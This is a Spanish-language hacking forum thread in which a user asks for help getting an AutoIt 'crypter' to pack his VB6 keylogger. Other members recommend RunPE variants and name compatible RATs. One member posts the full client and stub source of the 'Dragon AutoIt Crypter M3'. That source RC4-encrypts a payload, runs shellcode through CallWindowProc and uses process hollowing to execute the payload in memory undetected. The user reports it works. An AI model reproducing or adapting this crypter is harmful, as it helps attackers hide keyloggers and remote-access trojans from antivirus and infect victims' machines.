Error cifrar un anotador

comand

por comand Usa camisa de fuerza

Hola a todos! Tengo un prolema para cifrar cualquier anatodar probar con cripter DragonM3 siempre al siguiente error, ¿qué tengo que cambiar o qué acrecentar en src para funcionar a la perfección.

"Concentrarse en las fortalezas, reconocer las debilidades, las oportunidades y tomar la guardia contra las amenazas."

―Sun Tzu

Pink · Mensajes: 1273 Registrado: 20 Sep 2011, 04:21 Ubicación: Code for $$$

por Pink Usa camisa de fuerza

¿El anotador esta hecho en?

comand

por comand Usa camisa de fuerza

Pink Gracias por responder, el anotador ha hecho en vb6!

"Concentrarse en las fortalezas, reconocer las debilidades, las oportunidades y tomar la guardia contra las amenazas."

―Sun Tzu

M3

por M3 Usa camisa de fuerza

El Runpe de este SRC no és compatible com muchos archivos ,tampoko funciona com Xtreme ,
en CD lo postee solo he probado com Spynet i Cybergate i funciona bien ,
cambia el runpe por otro que te seguro funcionara bien

Indetectables RAT v.0.9.5

@Indetectables Team

comand

por comand Usa camisa de fuerza

M3 Gracias, voy a tratar con otro RunPE y ver cómo va, el amigo me podría sugerir una base para que yo pueda utilizar para estudiar y su comportamiento.

"Concentrarse en las fortalezas, reconocer las debilidades, las oportunidades y tomar la guardia contra las amenazas."

―Sun Tzu

comand

por comand Usa camisa de fuerza

Sin éxito, no pude hacerlo funcionar otra Runpe probado pero todavía falla, alguien tiene Runpe compartir conmigo o alguna sugerencia?

"Concentrarse en las fortalezas, reconocer las debilidades, las oportunidades y tomar la guardia contra las amenazas."

―Sun Tzu

Naker90

por Naker90 VIP

Que raro amigo, he probado y a mi si me funciona con un anotador hecho en vb6. Puede que el source que tengas lo hallan subido terceras personas y tenga algún error.

Estos son los sources que tenia en el baúl del crypter de M3

Cliente:

Mostrar/Ocultar

Código: Seleccionar todo

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <WinAPI.au3>

;==============================================;
; Dragon AutoIt Simple Crypter M3             ;
; Coded By M3                                 ;
; For  Http://www.hackcommunity.com/           ;
;==============================================;


#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Dragon Autoit Crypter M3", 365, 168, -1, -2 ,-1,$WS_EX_ACCEPTFILES)
GUISetOnEvent($GUI_EVENT_DROPPED, "sDragAndDrop")
GUISetCursor (3)
GUISetFont(8, 400, 0, "Cambria")
GUISetBkColor(0x000000)
WinSetOnTop($Form1, "", 1)
$Text1 = GUICtrlCreateInput("Drag And Drop ....", 8, 118, 350, 16)
GUICtrlSetState(-1, $GUI_DROPACCEPTED)
GUISetState(@SW_SHOW)
GUICtrlSetCursor (-1, 3)
$Text2 = GUICtrlCreateInput("<<<<<  Pass  >>>>>", 8, 147, 100, 16)
GUICtrlSetCursor (-1, 3)
$Crypt = GUICtrlCreateButton("Encryptar", 115, 145, 120, 20)
GUICtrlSetCursor (-1, 3)
$AboutSoftware = GUICtrlCreateButton("Acerca De", 240, 145, 120, 20)
GUICtrlSetCursor (-1, 3)
$sProgressBar = GUICtrlCreateProgress(8, 137, 350, 6)
$sImage = GUICtrlCreatePic("AutoItCliente.jpg", 0, 0, 393, 113)
#EndRegion ### END Koda GUI section ###




    ;Simple Form Efect

$Long = 1
Do

  _WinAPI_SetWindowRgn($Form1, _WinAPI_CreateRoundRectRgn(0, 0, 560 , $Long , 0 ,  0))
  Sleep(1)
  $Long = $Long + 1

Until $Long = 200





    While 1


     $nMsg = GUIGetMsg()
     Switch $nMsg



     Case $GUI_EVENT_CLOSE
     Exit




     Case $AboutSoftware

     Msgbox (64,"AutoIt Crypter M3" ,"Coded By  M3 , Thanks to TranceXX")




     Case $Crypt


     If GuiCtrlRead($Text1) = "Drag and Drop your file ...." then
     Msgbox(0,"Atention ","First Drag and Drop your File")
     Exit
         Endif




 FileWrite (@ScriptDir & "\Stub.exe", GuiCtrlRead($Text2))

         $sKey = "\\BYM3\\"

 $stub = FileOpen(@ScriptDir & "\Stub.exe")

 $sStub = FileRead($stub)

 $sArquive = FileRead(FileOpen(GuiCtrlRead($Text1)))

 $sArquive = _RC4($sArquive,$sKey)

         $salvar = FileOpen(FileSaveDialog("Save File", @ScriptDir, "PE Files(*.exe)") & ".exe", 18)

         FileWrite($salvar, $sStub)

 FileWrite($salvar, StringToBinary($sKey))

 FileWrite($salvar, $sArquive)

 FileClose($stub)

 FileClose($Text1)

 Fileclose($Salvar)


         GUICtrlSetData ($sProgressBar,GUICtrlRead($sProgressBar) + 100)



    EndSwitch

    WEnd






Func sDragAndDrop()

ConsoleWrite("ID: " & @GUI_DRAGID & " File: " & @GUI_DRAGFILE & " Drop: " & @GUI_DROPID & @CRLF)

EndFunc





    Func _RC4($Data, $key)


      Local $OPCODE = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
   Local $CodeBuffer = DllStructCreate("byte[" & BinaryLen($OPCODE) & "]")
   DllStructSetData($CodeBuffer, 1, $OPCODE)
   Local $Buffer = DllStructCreate("byte[" & BinaryLen($Data) & "]")
   DllStructSetData($Buffer, 1, $Data)
   DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($CodeBuffer), "ptr", DllStructGetPtr($Buffer), "int", BinaryLen($Data), "str", $key, "int", 0)
   Local $Ret = DllStructGetData($Buffer, 1)
   $Buffer = 0
   $CodeBuffer = 0
   Return $Ret


    EndFunc

Stub:

Mostrar/Ocultar

Código: Seleccionar todo

#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=..\..\..\..\System\ICO HD\Enhancedlabs-Longhorn-Pinstripe-Network-copy.ico
#AutoIt3Wrapper_Compression=4
#AutoIt3Wrapper_UseUpx=n
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

;==============================================;
; Dragon AutoIt Crypter M3                   ;
; Coded By M3                                 ;
; Thanks to TRANCEXX for RunPe               ;
; Keep Credits if you Using Source           ;
;==============================================;

SubMain()


Func SubMain()

  $sAppPath = @ScriptFullPath
  $sKey = "\\BYM3\\"
  $AppExe = $sAppPath
  $sArquive = FileRead($sAppPath)
  $sParams = StringInstr($sArquive, $sKey)
  $sLen = $sParams + sLenEx ($sKey)
  $sArquive = StringMid($sArquive,  $sLen)
  Call (_RunPE(_RC4($sArquive, $sKey)))

    EndFunc




Func _RC4($Data, $key)


      Local $sOpcode = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
   Local $CodeBuffer = DllStructCreate("byte[" & BinaryLen($sOpcode) & "]")
   DllStructSetData($CodeBuffer, 1, $sOpcode)
   Local $Buffer = DllStructCreate("byte[" & BinaryLen($Data) & "]")
   DllStructSetData($Buffer, 1, $Data)
   DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($CodeBuffer), "ptr", DllStructGetPtr($Buffer), "int", BinaryLen($Data), "str", $key, "int", 0)
   Local $Ret = DllStructGetData($Buffer, 1)
   $Buffer = 0
   $CodeBuffer = 0
   Return $Ret


    EndFunc




    Func sLenEx($sStr)

   Local $Result , $i , $bLen
   Do
   $i = $i + 1
   $bLen = StringLeft($sStr, $i)
   $Result = $i
   Until  $sStr = $bLen
   Return $Result

    EndFunc




    Func _RunPE($BBINARYIMAGE)

; RunPe
; Compatible with RATs >>  Cybergate | SpyNet | Poyson Ivy | DarkCommet
Local $BBINARY = Binary($BBINARYIMAGE)
    Local $TBINARY = DllStructCreate("byte[" & BinaryLen($BBINARY) & "]")
    DllStructSetData($TBINARY, 1, $BBINARY)
    Local $PPOINTER = DllStructGetPtr($TBINARY)
    Local $TSTARTUPINFO = DllStructCreate("dword  cbSize;" & "ptr Reserved;" & "ptr Desktop;" & "ptr Title;" & "dword X;" & "dword Y;" & "dword XSize;" & "dword YSize;" & "dword XCountChars;" & "dword YCountChars;" & "dword FillAttribute;" & "dword Flags;" & "ushort ShowWindow;" & "ushort Reserved2;" & "ptr Reserved2;" & "ptr hStdInput;" & "ptr hStdOutput;" & "ptr hStdError")
    Local $TPROCESS_INFORMATION = DllStructCreate("ptr Process;" & "ptr Thread;" & "dword ProcessId;" & "dword ThreadId")
    Local $ACALL = DllCall("Kernel32", "int", "CreateProcessW", "wstr", @AutoItExe, "ptr", 0, "ptr", 0, "ptr", 0, "int", 0, "dword", 4, "ptr", 0, "ptr", 0, "ptr", DllStructGetPtr($TSTARTUPINFO), "ptr", DllStructGetPtr($TPROCESS_INFORMATION))
    Local $HPROCESS = DllStructGetData($TPROCESS_INFORMATION, "Process")
    Local $HTHREAD = DllStructGetData($TPROCESS_INFORMATION, "Thread")
    Local $TCONTEXT = DllStructCreate("dword ContextFlags;" & "dword Dr0;" & "dword Dr1;" & "dword Dr2;" & "dword Dr3;" & "dword Dr6;" & "dword Dr7;" & "dword ControlWord;" & "dword StatusWord;" & "dword TagWord;" & "dword ErrorOffset;" & "dword ErrorSelector;" & "dword DataOffset;" & "dword DataSelector;" & "byte RegisterArea[80];" & "dword Cr0NpxState;" & "dword SegGs;" & "dword SegFs;" & "dword SegEs;" & "dword SegDs;" & "dword Edi;" & "dword Esi;" & "dword Ebx;" & "dword Edx;" & "dword Ecx;" & "dword Eax;" & "dword Ebp;" & "dword Eip;" & "dword SegCs;" & "dword EFlags;" & "dword Esp;" & "dword SegS")
    DllStructSetData($TCONTEXT, "ContextFlags", 65538)
    $ACALL = DllCall("Kernel32", "int", "GetThreadContext", "ptr", $HTHREAD, "ptr", DllStructGetPtr($TCONTEXT))
    Local $TIMAGE_DOS_HEADER = DllStructCreate("char Magic[2];" & "ushort BytesOnLastPage;" & "ushort Pages;" & "ushort Relocations;" & "ushort SizeofHeader;" & "ushort MinimumExtra;" & "ushort MaximumExtra;" & "ushort SS;" & "ushort SP;" & "ushort Checksum;" & "ushort IP;" & "ushort CS;" & "ushort Relocation;" & "ushort Overlay;" & "char Reserved[8];" & "ushort OEMIdentifier;" & "ushort OEMInformation;" & "char Reserved2[20];" & "dword AddressOfNewExeHeader", $PPOINTER)
    $PPOINTER += DllStructGetData($TIMAGE_DOS_HEADER, "AddressOfNewExeHeader")
    Local $SMAGIC = DllStructGetData($TIMAGE_DOS_HEADER, "Magic")
    If Not ($SMAGIC == "MZ") Then
    DllCall("Kernel32", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
    Return SetError(3, 0, 0)
    EndIf
    Local $TIMAGE_NT_SIGNATURE = DllStructCreate("dword Signature", $PPOINTER)
    $PPOINTER += 4
    If DllStructGetData($TIMAGE_NT_SIGNATURE, "Signature") <> 17744 Then
    DllCall("Kernel32", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
    Return SetError(4, 0, 0)
    EndIf
    Local $TIMAGE_FILE_HEADER = DllStructCreate("ushort Machine;" & "ushort NumberOfSections;" & "dword TimeDateStamp;" & "dword PointerToSymbolTable;" & "dword NumberOfSymbols;" & "ushort SizeOfOptionalHeader;" & "ushort Characteristics", $PPOINTER)
    Local $INUMBEROFSECTIONS = DllStructGetData($TIMAGE_FILE_HEADER, "NumberOfSections")
    $PPOINTER += 20
    Local $TIMAGE_OPTIONAL_HEADER = DllStructCreate("ushort Magic;" & "ubyte MajorLinkerVersion;" & "ubyte MinorLinkerVersion;" & "dword SizeOfCode;" & "dword SizeOfInitializedData;" & "dword SizeOfUninitializedData;" & "dword AddressOfEntryPoint;" & "dword BaseOfCode;" & "dword BaseOfData;" & "dword ImageBase;" & "dword SectionAlignment;" & "dword FileAlignment;" & "ushort MajorOperatingSystemVersion;" & "ushort MinorOperatingSystemVersion;" & "ushort MajorImageVersion;" & "ushort MinorImageVersion;" & "ushort MajorSubsystemVersion;" & "ushort MinorSubsystemVersion;" & "dword Win32VersionValue;" & "dword SizeOfImage;" & "dword SizeOfHeaders;" & "dword CheckSum;" & "ushort Subsystem;" & "ushort DllCharacteristics;" & "dword SizeOfStackReserve;" & "dword SizeOfStackCommit;" & "dword SizeOfHeapReserve;" & "dword SizeOfHeapCommit;" & "dword LoaderFlags;" & "dword NumberOfRvaAndSizes", $PPOINTER)
    $PPOINTER += 96
    Local $IMAGIC = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "Magic")
    If $IMAGIC <> 267 Then
    DllCall("Kernel32", "int", "TerminateProcess", "ptr", $HPROCESS, "dword", 0)
    Return SetError(5, 0, 0)
    EndIf
    Local $IENTRYPOINTNEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "AddressOfEntryPoint")
    $PPOINTER += 128
    Local $POPTIONALHEADERIMAGEBASENEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "ImageBase")
    Local $IOPTIONALHEADERSIZEOFIMAGENEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "SizeOfImage")
    $ACALL = DllCall("Ntdll", "int", "NtUnmapViewOfSection", "ptr", $HPROCESS, "ptr", $POPTIONALHEADERIMAGEBASENEW)
    $ACALL = DllCall("Kernel32", "ptr", "VirtualAllocEx", "ptr", $HPROCESS, "ptr", $POPTIONALHEADERIMAGEBASENEW, "dword", $IOPTIONALHEADERSIZEOFIMAGENEW, "dword", 12288, "dword", 64)
    Local $PREMOTECODE = $ACALL[0]
    Local $PHEADERS_NEW = DllStructGetPtr($TIMAGE_DOS_HEADER)
    Local $IOPTIONALHEADERSIZEOFHEADERSNEW = DllStructGetData($TIMAGE_OPTIONAL_HEADER, "SizeOfHeaders")
    $ACALL = DllCall("Kernel32", "int", "WriteProcessMemory", "ptr", $HPROCESS, "ptr", $PREMOTECODE, "ptr", $PHEADERS_NEW, "dword", $IOPTIONALHEADERSIZEOFHEADERSNEW, "dword*", 0)
    Local $TIMAGE_SECTION_HEADER
    Local $ISIZEOFRAWDATA, $PPOINTERTORAWDATA
    Local $IVIRTUALADDRESS
    For $I = 1 To $INUMBEROFSECTIONS
    $TIMAGE_SECTION_HEADER = DllStructCreate("char Name[8];" & "dword UnionOfVirtualSizeAndPhysicalAddress;" & "dword VirtualAddress;" & "dword SizeOfRawData;" & "dword PointerToRawData;" & "dword PointerToRelocations;" & "dword PointerToLinenumbers;" & "ushort NumberOfRelocations;" & "ushort NumberOfLinenumbers;" & "dword Characteristics", $PPOINTER)
    $ISIZEOFRAWDATA = DllStructGetData($TIMAGE_SECTION_HEADER, "SizeOfRawData")
    $PPOINTERTORAWDATA = DllStructGetPtr($TIMAGE_DOS_HEADER) + DllStructGetData($TIMAGE_SECTION_HEADER, "PointerToRawData")
    $IVIRTUALADDRESS = DllStructGetData($TIMAGE_SECTION_HEADER, "VirtualAddress")
    If $ISIZEOFRAWDATA Then
    $ACALL = DllCall("Kernel32", "int", "WriteProcessMemory", "ptr", $HPROCESS, "ptr", $PREMOTECODE + $IVIRTUALADDRESS, "ptr", $PPOINTERTORAWDATA, "dword", $ISIZEOFRAWDATA, "dword*", 0)
    EndIf
    $PPOINTER += 40
    Next
    DllStructSetData($TCONTEXT, "Eax", $PREMOTECODE + $IENTRYPOINTNEW)
    $ACALL = DllCall("Kernel32", "int", "SetThreadContext", "ptr", $HTHREAD, "ptr", DllStructGetPtr($TCONTEXT))
    $ACALL = DllCall("Kernel32", "int", "ResumeThread", "ptr", $HTHREAD)
    EndFunc

Puedes postear el source con el RunPE cambiado, puede que tenga algún error y por eso no rule.

Saludos

Skype: naker.noventa

comand

por comand Usa camisa de fuerza

Gracias Naker! Compilado src que usted envió, pero ahora cifrar el anotador no muestra nada, tambe'm probado con el bloc de notas y nada aparece.

"Concentrarse en las fortalezas, reconocer las debilidades, las oportunidades y tomar la guardia contra las amenazas."

―Sun Tzu

Flame

por Flame Esquizofrénico

Me funciona muy bien con una bolita windows sp3

[code2=masm]"For the honor of a king. And the destiny of a country. All for one."[/code2]

comand

por comand Usa camisa de fuerza

Hola amigos! Después de tanto romper la cabeza tratando de ver lo que estaba dando error finalmente tuvo éxito, el problema era que yo tenía en el original y después de comprobar y comparar a la prevista Naker90 podía arreglarlo intercambiar algunas palabras sobre el src funcionado a la perfección, gracias a los amigos en busca de ayuda Naker90 y por haber puesto a disposición del crypter src Dragom autoit M3.

"Concentrarse en las fortalezas, reconocer las debilidades, las oportunidades y tomar la guardia contra las amenazas."

―Sun Tzu

Error cifrar un anotador

Temas similares

Links sobre el tema

Variantes de tema

Error cifrar un anotador

Mostrar mensajes previos

Ordenar por

Temas similares

Links sobre el tema

Variantes de tema